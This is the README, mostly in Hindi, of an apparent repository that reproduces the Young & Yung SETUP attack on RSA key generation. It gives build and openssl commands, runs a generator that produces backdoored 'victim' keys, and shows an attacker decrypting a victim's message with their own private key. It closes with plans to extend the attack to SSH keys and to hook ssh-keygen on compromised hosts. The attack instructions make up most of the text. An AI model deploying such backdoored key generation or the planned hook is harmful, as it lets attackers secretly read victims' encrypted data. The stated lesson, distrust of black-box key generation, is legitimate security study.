
SETUP का उपयोग करके बैकडोर युक्त RSA कुंजियाँ उत्पन्न करें
इस रिपॉजिटरी में Young & Yung, 1996 द्वारा प्रस्तावित RSA कुंजी जनरेशन पर Secretly Embedded Trapdoor with Universal Protection (SETUP) हमले को दोहराने के लिए कोड है। इस हमले की क्षमता को देखते हुए, ब्लैक बॉक्स कुंजी जनरेशन प्रणालियों पर कभी भरोसा न करें।
संदर्भ: - एल्गोरिथ्म की प्रस्तुति - मूल पूर्ण पेपर
अपनी हमलावर कुंजियाँ जनरेट करके शुरू करें और फिर बैकडोर वाली कुंजियाँ जनरेट करें।
# build
go build generator.go
go build decryptor.go
# (option) generate your (legit) RSA keys
openssl genrsa -out attacker_priv.pem 2048
openssl rsa -in attacker_priv.pem -pubout -out attacker_pub.pem
# generate backdoored keys
./generator -pk attacker_pub.pem
# output
------
[*] Generating 4096-bits SETUP...
> This may take a while...
------
------
[*] Found parameters:
> p bit length: 256
> q bit length: 3840
> n bit length: 4096 // final key length
> Attempts needed: 542692
------
------
[*] Backdoored keys saved to:
> Private key: out/victim_priv.pem
> Public key: out/victim_pub.pem
------
------
[*] Test with:
> echo -n "hello world" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin // encrypt with SETUP PK
> ./decryptor -pk out/victim_pub.pem -sk <attacker_priv.pem> -c out/cipher.bin // decrypt with SK
------
यदि पीड़ित प्राप्त कुंजियों पर भरोसा करता है (जो बिल्कुल सामान्य दिखती हैं और उम्मीद के मुताबिक काम करती हैं) तो वह उनका उपयोग कुछ डेटा एन्क्रिप्ट करने के लिए करेगा, उदाहरण के लिए:
# encrypt
echo -n "SuperSecretSh1tttttt" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin
# verify
echo out/cipher.bin | base64
हैरान करने वाली बात यह है कि हमलावर पीड़ित की सार्वजनिक कुंजी और अपनी निजी कुंजी का उपयोग करके संदेश को डिक्रिप्ट कर सकता है। उदाहरण के लिए,
# decrypt
./decryptor -pk out/victim_pub.pem -sk attacker_priv.pem -c out/cipher.bin
# output
------
[*] Loading keys and ciphertext...
> Loaded victim public key
> Loaded attacker private key
> Loaded ciphertext
------
------
[*] Deriving private key from SETUP...
> PK bitsize: 2048
> Found valid factorization using s1
> Recovered p (bit length: 256)
> Recovered q (bit length: 3840)
> Recovered d (bit length: 4092)
------
--- DECRYPTED MESSAGE ---
��ϓ�f�~~P�k(���t%Tp��i/3qHvr��s �x��f����){���\c�f�
�.���n�=y���
�R}��r_2���q�H>u�K��%EB�,�yNZ���5�1��:�>��%O�Y/�,��J$a���`��
�ì�|��k&r��1�5H˚�+����U�/4p� ���֒9���#Gmծ����=�gfq��Pg,w�g)�E^���ͻ����-2�t�2-v
�y�.�Ȟ�<0S�i8�w�+�\���D/��/���e���sf?18��l�����Э�Y�
�uk��D҃C�P�leS�<���Cy�oI�I�˴�O�B'
g;L9{b�o.���y.���+J���
2А�$���WƇ�B���υk�D�SuperSecretSh1tttttt
-------------------------
यदि आप इस हमले का पूरा विवरण चाहते हैं तो प्रस्तावना में दिए गए दो लिंक देखें। इस हमले का उच्च-स्तरीय अवलोकन निम्नलिखित है :
वर्तमान में प्रोग्राम यह जाँचने के लिए ProbablyPrime() का उपयोग करता है कि दिया गया n अभाज्य है या नहीं। ProbablyPrime n मिलर-रबिन परीक्षण करता है ताकि यह जाँचा जा सके कि x अभाज्य है या नहीं। यदि यह true लौटाता है, तो x के अभाज्य होने की प्रायिकता 1 - 1/4^n है। यदि यह false लौटाता है, तो x अभाज्य नहीं है। इस प्रकार, यह गैर-शून्य प्रायिकता है कि बैकडोर जनरेशन विफल हो जाता है (Q को हल नहीं किया जा सकता)। यदि ऐसा होता है तो बस टूल को दोबारा चलाएँ।
निम्नलिखित प्रारूपों का समर्थन करें: ssh-rsa, ssh-dsa, ssh-ecdsa। SETUP इनके लिए सैद्धांतिक रूप से संभव है, ssh-ed25519 SETUP के प्रति प्रतिरोधी है। निजी ssh कुंजी तब ssh-keyscan से प्राप्त सार्वजनिक कुंजियों से व्युत्पन्न की जा सकती है। मैं समझौता किए गए होस्ट पर ssh-keygen को हुक करने के लिए एक छोटी उपयोगिता प्रदान करने की भी योजना बना रहा हूँ ताकि आगे की कुंजियों को स्वचालित रूप से बैकडोर किया जा सके... TBC।